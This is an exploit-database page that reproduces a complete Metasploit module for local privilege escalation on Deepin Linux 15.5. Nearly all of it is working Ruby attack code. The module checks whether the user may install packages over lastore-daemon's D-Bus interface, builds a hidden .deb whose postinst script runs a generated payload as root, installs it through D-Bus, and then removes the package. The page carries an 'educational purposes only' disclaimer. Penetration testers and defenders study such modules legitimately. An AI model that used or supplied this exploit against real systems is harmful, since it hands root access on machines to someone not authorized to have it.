Lastoredaemon dbus privilege escalation (metasploit) Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2018-04-24 | Type : local | Platform : linux
This exploit / vulnerability Lastoredaemon dbus privilege escalation (metasploit) is for educational purposes only and if it is used you will do on your own risk!

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[+] Code ...

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking

include Msf::Post::File
include Msf::Post::Linux::Priv
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => 'lastore-daemon D-Bus Privilege Escalation',
'Description' => %q{
This module attempts to gain root privileges on Deepin Linux systems
by using lastore-daemon to install a package.

The lastore-daemon D-Bus configuration on Deepin Linux 15.5 permits any
user in the sudo group to install arbitrary system packages without
providing a password, resulting in code execution as root. By default,
the first user created on the system is a member of the sudo group.

This module has been tested successfully with lastore-daemon version
0.9.53-1 on Deepin Linux 15.5 (x64).
},
'License' => MSF_LICENSE,
'Author' =>
[
"King's Way", # Discovery and exploit
'Brendan Coles' # Metasploit
],
'DisclosureDate' => 'Feb 2 2016',
'References' =>
[
[ 'EDB', '39433' ],
[ 'URL', 'https://gist.github.com/bcoles/02aa274ce32dc350e34b6d4d1ad0e0e8' ],
],
'Platform' => 'linux',
'Arch' => [ ARCH_X86, ARCH_X64 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' => [[ 'Auto', {} ]],
'DefaultTarget' => 0))
register_options([
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
])
end

def base_dir
datastore['WritableDir']
end

def mkdir(path)
vprint_status "Creating '#{path}' directory"
cmd_exec "mkdir -p #{path}"
register_dir_for_cleanup path
end

def upload(path, data)
print_status "Writing '#{path}' (#{data.size} bytes) ..."
rm_f path
write_file path, data
register_file_for_cleanup path
end

def upload_and_chmodx(path, data)
upload path, data
cmd_exec "chmod +x '#{path}'"
end

def command_exists?(cmd)
cmd_exec("command -v #{cmd} && echo true").include? 'true'
end

def dbus_priv?
res = install_package '', ''
(res.include? 'DBus.Error.AccessDenied') ? false : true
end

def install_package(name, path)
dbus_send dest: 'com.deepin.lastore',
type: 'method_call',
path: '/com/deepin/lastore',
interface: 'com.deepin.lastore.Manager.InstallPackage',
contents: "string:'#{name}' string:'#{path}'"
end

def remove_package(name)
dbus_send dest: 'com.deepin.lastore',
type: 'method_call',
path: '/com/deepin/lastore',
interface: 'com.deepin.lastore.Manager.RemovePackage',
contents: "string:' ' string:'#{name}'"
end

def dbus_send(dest:, type:, path:, interface:, contents:)
cmd_exec "dbus-send --system --print-reply --dest=#{dest} --type=#{type} #{path} #{interface} #{contents}"
end

def check
%w(lastore-daemon dpkg-deb dbus-send).each do |cmd|
unless command_exists? cmd
vprint_error "#{cmd} is not installed. Exploitation will fail."
return CheckCode::Safe
end
vprint_good "#{cmd} is installed"
end

unless dbus_priv?
vprint_error 'User is not permitted to install packages. Exploitation will fail.'
return CheckCode::Safe
end
vprint_good 'User is permitted to install packages'

CheckCode::Appears
end

def exploit
if is_root?
fail_with Failure::BadConfig, 'Session already has root privileges'
end

if check != CheckCode::Appears
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
end

print_status 'Building package...'

payload_name = ".#{rand_text_alphanumeric rand(10..15)}"
payload_path = "#{base_dir}/#{payload_name}"
pkg_name = rand_text_alphanumeric rand(10..15)
pkg_path = "#{base_dir}/.#{pkg_name}"

mkdir "#{pkg_path}/DEBIAN"
pkg = "Package: #{pkg_name}\n"
pkg << "Version: 0.1\n"
pkg << "Maintainer: #{pkg_name}\n"
pkg << "Architecture: all\n"
pkg << "Description: #{pkg_name}\n"
upload "#{pkg_path}/DEBIAN/control", pkg
upload_and_chmodx "#{pkg_path}/DEBIAN/postinst", "#!/bin/sh\n#{payload_path} &"

cmd_exec "dpkg-deb --build '#{pkg_path}'"

unless file_exist? "#{pkg_path}.deb"
fail_with Failure::Unknown, 'Building package failed'
end

print_status 'Uploading payload...'
upload_and_chmodx payload_path, generate_payload_exe

print_status 'Installing package...'
res = install_package pkg_name, "#{pkg_path}.deb"
vprint_line res

unless res.include? 'object path'
fail_with Failure::Unknown, 'Package installation failed. Check /var/log/lastore/daemon.log'
end

Rex.sleep 15

print_status 'Removing package...'
res = remove_package pkg_name.downcase
vprint_line res

unless res.include? 'object path'
print_warning 'Package removal failed. Check /var/log/lastore/daemon.log'
end
end
end